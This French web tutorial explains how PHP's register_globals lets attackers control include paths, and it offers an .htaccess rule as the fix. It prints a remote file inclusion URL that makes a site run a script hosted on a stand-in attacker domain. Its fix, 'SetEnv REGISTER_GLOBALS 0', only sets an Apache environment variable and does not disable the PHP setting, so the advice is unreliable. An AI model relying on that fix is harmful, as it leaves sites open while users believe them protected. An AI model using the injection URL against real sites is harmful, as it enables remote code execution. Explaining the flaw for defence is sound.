HTACCESS

Protection contre les attaques de hacker avec register global on

Les hackers exploitent souvent la facilité qui consiste à définir les variables GET ou POST en variables globales.

Par exemple la variable $_GET['var1'] est également accessible par $var1. Le cas le plus fréquent d'exploitation est l'utilisation d'une variable préfixant le chemin des includes comme : include($prefix_path . '/chemin_d_include.php'); Ainsi l'appel de l'url http://www.example.com/page.php?prefix_path=http://sitehacker.com/script.txt peut permettre de faire exécuter l'include externe http://sitehacker.com/script.txt/chemin_d_include.php.

La désactivation de cette option nécessite de contrôler tous le code pour toujours accéder aux variables avec les tableaux $_ENV, $_GET, $_POST, $_REQUEST, $_COOKIE et $_SERVER et non directement avec leur nom.

Pour plus d'informations vous pouvez lire l'explication détaillée ici. Pour éviter cette faille, il suffit de désactiver l'enregistrement global avec cette règle dans le fichier .htaccess.

SetEnv REGISTER_GLOBALS 0
PHP